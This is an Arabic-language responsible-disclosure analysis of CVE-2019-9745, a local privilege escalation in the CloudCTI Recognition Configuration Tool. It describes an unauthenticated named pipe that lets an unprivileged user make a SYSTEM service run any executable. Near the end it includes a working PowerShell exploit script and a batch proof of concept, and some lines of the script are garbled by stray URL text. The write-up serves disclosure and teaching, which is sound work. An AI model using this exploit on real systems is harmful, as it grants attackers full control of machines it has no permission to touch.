kpn-ciso/cve-2019-9745تحليل حول ثغرة CVE-2019-9745.
الإبداع هو جوهر اختبار الاختراق، وهو ما يبقي عملنا ممتعًا. ومع ذلك، أحد المزالق هو الميل إلى "الإفراط في هندسة" سيناريوهات الهجوم والتركيز فقط على الأخطاء (حالات الخطأ). غير أن العيوب (السلوك غير المقصود) قد تكون موجودة وتؤدي إلى نتائج مدمرة بنفس القدر. يقدم هذا المقال دراسة حالة لإظهار أهمية اختبار الاختراق لمثل هذه العيوب. وفي الوقت نفسه، يقدم حجة لاعتماد عملية SDLC (دورة حياة التطوير الآمن).
هذا المقال جزء من الإفصاح المسؤول (RD) عن الثغرة CVE-2019-9745 وقد كُتب بالتعاون الوثيق مع البائع CloudCTI. يقدم نظرة عامة رفيعة المستوى عن الثغرة قبل الغوص في التفاصيل التقنية. وبعد توضيح استغلال الثغرة، يُقدَّم استنتاج مع الدروس المستفادة.
أداة CloudCTI Recognition Configuration Tool التي فحصناها خلال أحد اختبارات الاختراق لدينا تُستخدم لاسترجاع المعلومات من برامج CRM (إدارة علاقات العملاء). وهذا يوفر لموظفي مراكز الاتصال معلومات ذات صلة أثناء مكالمات العملاء. تم تحديد العديد من المشكلات التي يمكن ربطها معًا لاختراق النظام المحلي بالكامل. يود البائع التأكيد على أن هذا لا يؤثر على أنظمة العملاء الآخرين ولا أنظمتهم الخاصة.
كما هو الحال مع العديد من الثغرات الأمنية، تكمن مشكلة مهمة في التحقق من صحة البيانات القادمة من خارج نطاق نفوذك. بنفس القدر من الأهمية هو إدراك أن الأنظمة والبرمجيات تعمل في بيئات معادية. لقد علمنا الوقت والخبرة أن التنصت يشكل تهديدًا على الإنترنت. وينطبق الشيء نفسه على قنوات الاتصال الأخرى، حتى داخل النظام نفسه. وكان هذا أساسيًا في اكتشاف الثغرة.
يُظهر تحليل السبب الجذري للمشكلات التي تمت مواجهتها أهمية الممارسات مثل TM (نمذجة التهديدات). يساعد TM في تحديد المخاطر في المراحل المبكرة من التصميم والتطوير. ويمكن أن يؤدي ذلك إلى تخفيف المخاطر غير المقبولة أو إعادة التصميم/إعادة التنفيذ. على الرغم من أن القارئ مُشجَّع على إجراء تحليله الخاص، يتم توفير أوصاف للإجراءات المضادة للبائع كمرجع.
تتكون برمجيات البائع من أربعة تطبيقات تعمل معًا. التطبيق الأول هو واجهة المستخدم الرسومية (GUI). وهذا يسمح للمستخدم ببدء استرجاع المعلومات من عدة حزم برامج CRM:
يفوّض واجهة المستخدم الرسومية استرجاع المعلومات إلى خدمة (التطبيق الثاني) عن طريق إرسال رسالة. تتجلى هنا أولى المشكلات الأمنية: فليس بإمكان أي شخص على النظام مراقبة الرسائل بين واجهة المستخدم الرسومية والخدمة لتحديد تنسيقها ومحتواها (مما يؤثر على السرية) فحسب، بل يمكنه أيضًا إرسال رسائله الخاصة (مما يؤثر على التفويض). علاوة على ذلك، لا يتم التحقق من مصدر الرسائل الموجهة إلى الخدمة (مما يؤثر على عدم الإنكار). في مصطلحات نمذجة التهديدات STRIDE، يعني هذا أن النظام عرضة لكشف المعلومات والعبث. وبالفعل، كانت المعلومات المستخلصة من هذه الرسائل أساسية في اكتشاف الثغرة.
التطبيق الثالث هو واحد من العديد من أدوات الاستيراد المتخصصة. تقوم الخدمة بتحميل استرجاع المعلومات لحزمة CRM محددة إلى أداة استيراد محددة. تحتوي الرسالة التي يرسلها واجهة المستخدم الرسومية على تعليمات محددة لأداة الاستيراد هذه. بالنظر إلى أداة استيراد CRM الخاصة بـ Exquise، يتبين أن استرجاع المعلومات يُفوَّض أيضًا إلى تطبيق خارجي (رابع). عند فحص المنطق الداخلي لأداة الاستيراد، تم اكتشاف أنه يمكن تحديد التطبيق الخارجي في الرسالة بين واجهة المستخدم الرسومية والخدمة. المشكلة التي تظهر هنا هي أن التطبيق الخارجي يُنفَّذ دون التحقق من هويته (مما يؤثر على عدم الإنكار).
من خلال ربط هذه المشكلات معًا، تمكنا من التنصت على الرسائل لتحديد تنسيقها وإرسال رسالة نحدد فيها تطبيقًا خارجيًا خبيثًا خاصًا بنا. يتم تنفيذ ذلك التطبيق الخارجي بنفس صلاحيات أداة الاستيراد/الخدمة. وبما أن هذه الصلاحيات هي الأعلى الممكنة داخل النظام، يتم تحقيق السيطرة الكاملة ويتعرض النظام للاختراق.
يتم تخفيف هذه المشكلات من قبل البائع عن طريق تشفير الرسائل (مما يخفف مشكلة السرية) من خلال استخدام أسرار مشتركة فريدة (مما يخفف مشكلة التفويض) لا يمكن الوصول إليها إلا من قبل مستخدمي النظام الموثقين الذين يملكونها (مما يخفف مشكلة عدم الإنكار الأولى). أخيرًا، التطبيق الخارجي موقَّع تشفيريًا (مما يخفف مشكلة عدم الإنكار الثانية). يؤدي الجمع بين هذه الإجراءات إلى تخفيف الثغرة بنجاح.
عند تثبيت تطبيق واجهة المستخدم الرسومية CloudCTI Recognition Configuration Tool (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe) يتم فحصه باستخدام Process Explorer. يكشف هذا عن تثبيت خدمة مصاحبة (Recognition Update Client Service) وتنفيذها بصلاحيات NT AUTHORITY\SYSTEM:
عند فحص الملف التنفيذي للخدمة (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe) يتضح أنه تم تطويره باستخدام لغة البرمجة .NET. يمكن إلغاء ترجمته باستخدام dnSpy للحصول على نظرة ثاقبة في منطقه الداخلي، والذي سيتم تفصيله أدناه.
RUCS2017Service (مساحة الاسم الداخلية .NET في الملف التنفيذي للخدمة) يتبين أنها غلاف رفيع حول مساحة الاسم RUCS2017 (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll). يعرّف هذا خادم Named Pipe باسم RUCS20151029 في RUCS2017.dll:RUCS2017.TRUCS2017:902:
يتم بدء تشغيل خادم Named Pipe هذا في RUCS2017.dll:RUCS2017.TRUCS2017:833:
يُستخدم سطر أوامر Powershell التالي لتأكيد أن هذه القناة نشطة بالفعل على النظام:``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"
\.\pipe\RUCS20151029
باستخدام [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) يتم فحص حقوق الوصول للأنبوب. من خلال هذا يُكتشف أن الأنبوب يمكن القراءة منه (*R*) والكتابة إليه (*W*) بواسطة أي مستخدم للنظام (*الجميع*):```
PS C:\Users\hacker> .\accesschk.exe \pipe\RUCS20151029
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
\\.\Pipe\RUCS20151029
RW Everyone
RW BUILTIN\Administrators
عند استخدام وظيفة Add application في الواجهة الرسومية (انظر Figure 01) تُلاحَظ حركة البيانات غير المشفَّرة التالية على الأنبوب المسمّى باستخدام IO Ninja:
يحتوي هذا على بيانات JSON التالية:```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }
تتم معالجة الرسائل على الأنبوب بناءً على [الأحداث](https://docs.microsoft.com/en-us/dotnet/standard/events/) ويتم الاشتراك بها في مُنشئ الخدمة عند *RUCS2017.dll:RUCS2017.TRUCS2017:803*:
**<div style="text-align: right">الشكل 06</div>**
في هذه الدالة، يتم أولاً إلغاء تسلسل JSON عند *RUCS2017.dll:RUCS2017.TRUCS2017:267*:
**<div style="text-align: right">الشكل 07</div>**
يمكن العثور على المنطق المحدد لمعالجة بنية رسالة JSON الخاصة بـ *WizardGetData* عند *RUCS2017.dll:RUCS2017.TRUCS2017:315* ضمن حالة التعداد *TFerbCommandType.WizardGetData*:
**<div style="text-align: right">الشكل 08</div>**
بعد ذلك، يقوم مدير المهام ببدء خيط تنفيذ جديد عند *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:614* مع تمرير بنية الرسالة المُحلَّلة:
**<div style="text-align: right">الشكل 09</div>**
يتم تحميل *DatasourceType* (لحزمة CRM محددة) ديناميكيًا عند *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:177*:
**<div style="text-align: right">الشكل 10</div>**
والذي يقوم بتحميل ملف *.dll* المعرّف في *json.conf:17*:
**<div style="text-align: right">الشكل 11</div>**
بعد ذلك، يُوكَل المزيد من معالجة الرسالة إلى المكوّن الإضافي *C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceExquiseExporter.dll* عند *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:197* (*الشكل 10*).
الفئة *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource* مشتقّة من *CloudCTI.Datasources.TextFile.RUS2015.TextFileDatasource* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceTextFile.dll*). وهذه بدورها مشتقّة من *CloudCTI.Datasources.RUS2015.DatasourceBase* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\CloudCTIReplicationDatasourcesClass.dll*). نجد تنفيذ طريقة *GetData* عند *CloudCTI.Datasources.RUS2015.DatasourceBase:133* والتي تستدعي *initializeDatasource* عند *CloudCTI.Datasources.RUS2015.DatasourceBase:142*:
**<div style="text-align: right">الشكل 12</div>**
وهذه بدورها تستدعي *DatasourceInitialize* عند *CloudCTI.Datasources.RUS2015.DatasourceBase:598*:
**<div style="text-align: right">الشكل 13</div>**
أولاً، يتم تحليل رسالة JSON عند *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:24*:
**<div style="text-align: right">الشكل 14</div>**
يتم تعريف بنية هذه الرسالة في الفئة *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings*. تحتوي هذه الفئة أيضًا على خاصية *ExporterApplication* التي تهمنا كثيرًا:
**<div style="text-align: right">الشكل 15</div>**
عند *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:29* (انظر *الشكل 14*) يتم التحقق مما إذا كانت *ExporterApplication* معيّنة في الرسالة. إذا لم تكن هذه هي الحالة، يتم استخدام تطبيق افتراضي، وإلا فسيتم استخدام التطبيق الخارجي من الرسالة. <span style='color:red'>**هنا تتجلى الثغرة**</span>. عند *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:41* (انظر *الشكل 14*) يتم استدعاء طريقة *createExportFile* التي تشغّل التطبيق الخارجي الذي تم تحديده سابقًا (السطر *73*):
**<div style="text-align: right">الشكل 16</div>**
# الاستغلال #
بما أن عملية الخدمة (*C:\Program Files (x86)\HIP Integrator\RUCS\RecognitionUpdateClientServiceService.exe*) تعمل بصلاحيات *NT AUTHORITY\SYSTEM*, فإنها تملك وصولًا إلى **جميع** جوانب النظام، وهو ما أصبح متاحًا لنا الآن أيضًا عبر خاصية *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings.ExporterApplication*. وعند صياغة ذلك داخل الرسالة، تكون النتيجة قالب JSON التالي:```JSON
{
"Command":"WizardGetData",
"Params":
{
"ReturnSize":RETURN_SIZE,
"DatasourceType":"exquise exporter",
"DatasourceSettings":
{
"ExquiseFolder":"FOLDER_NAME",
"ExporterApplication":"APPLICATION_NAME"
}
},
"Id":"RANDOM_VALUE"
}
من خلال التجربة والخطأ تبيّن أن ExporterApplication يمكن أن يكون سكربت دفعة لا يتطلب تنزيل أي موارد إضافية ويمكن وضعه في دليل (مستخدم) يخضع لسيطرة مستخدم بصلاحيات أقل. وبما أن جميع المستخدمين يمكنهم الكتابة إلى الأنبوب المسمى RUCS20151029، يُستخدم السكربت PowerShell التالي لإرسال JSON مُعد بعناية إلى الأنبوب المسمى:
CVE-2019-9745.ps1:```powershell
add-Type -assembly "System.Core"
New-Item -ItemType directory -Path data -Force > $null
Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'
$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);
$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'
$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)
$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()
يُحدَّد البرنامج النصي الدفعي التالي في رسالة JSON باعتباره التطبيق الخارجي (*ExporterApplication*). وكإثبات للمفهوم، يُكتب اسم المستخدم الذي ينفّذ هذا البرنامج إلى ملف. بالطبع، يمكن استبدال ذلك بأي أمر (تسلسل أوامر).
**CVE-2019-9745.bat**:```batch
@ECHO OFF
whoami > C:\Users\hacker\exploit\CVE-2019-9745.log
عندما يتم إرسال الرسالة من قبل مستخدم عادي (بصلاحيات منخفضة) (باستخدام CVE-2019-9745.ps1) يمكننا بالفعل ملاحظة أن CVE-2019-9745.bat يتم تنفيذه بصلاحيات مرتفعة (NT Authority\SYSTEM):
من منظور اختبار الاختراق، يمكن أن يكون اختبار الثغرات في المنطق (الأعمال) للنظام استثمارًا كبيرًا للوقت. نظرًا لأن معظم اختبارات الاختراق هي اختبار الصندوق الأسود (على عكس اختبار الصندوق الأبيض) فإن هذا يتضمن عادةً الهندسة العكسية. ومع ذلك، وكما تم توضيحه، يمكن أن تكون العيوب (المنطقية) مدمرة تمامًا مثل الأخطاء البرمجية. لهذا السبب، يُنصح بشدة باتباع نهج مزدوج لاختبار كل من الأخطاء والعيوب.
من وجهة نظر البائع، من المهم ليس فقط طرح السؤال 'كيف يمكن استخدام منتجاتنا' ولكن أيضًا 'كيف يمكن إساءة استخدامها'. يمكن أن يساعد SDLC (دورة حياة التطوير الآمن) في إدارة المخاطر خلال المراحل المختلفة لدورة حياة المنتج: متطلبات الأمان، والبنية المعمارية ونموذج التهديدات تساعد في مرحلة التصميم عالي ومتوسط المستوى. تحليل الكود الثابت/الديناميكي ومراجعة الأقران تساعد في عملية التطوير. أخيرًا، يوفر اختبار الاختراق تدقيقًا (مستقلاً). بالطبع، يجب موازنة نتائج هذه العمليات مع الرغبة في المخاطرة. من منظور مالي، خلصت دراسات مختلفة (الحالة التجارية للأمان في SDLC) إلى أن معالجة العيوب (الأمنية) في المراحل المبكرة من دورة حياة المنتج أكثر فعالية من حيث التكلفة من المعالجة اللاحقة. وهذا يعني أن الاستثمار في SDLC يمكن أن يقلل من التكلفة الإجمالية للملكية (TCO) على المدى الطويل.
وبجمع كلا المنظورين، من المهم مواصلة الاستثمار في التوعية الأمنية على جميع الجبهات من خلال التدريب والتعليم. وهذا يضمن أن جميع الأطراف مطلعة على كل من الفرص والمخاطر الأمنية في مجال تكنولوجيا المعلومات الذي يستمر في التطور بوتيرة سريعة. وبذلك، يمكننا جميعًا المساهمة في مجتمع أكثر أمانًا.
درجة CVSS التي خصصناها لهذه الثغرة هي 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).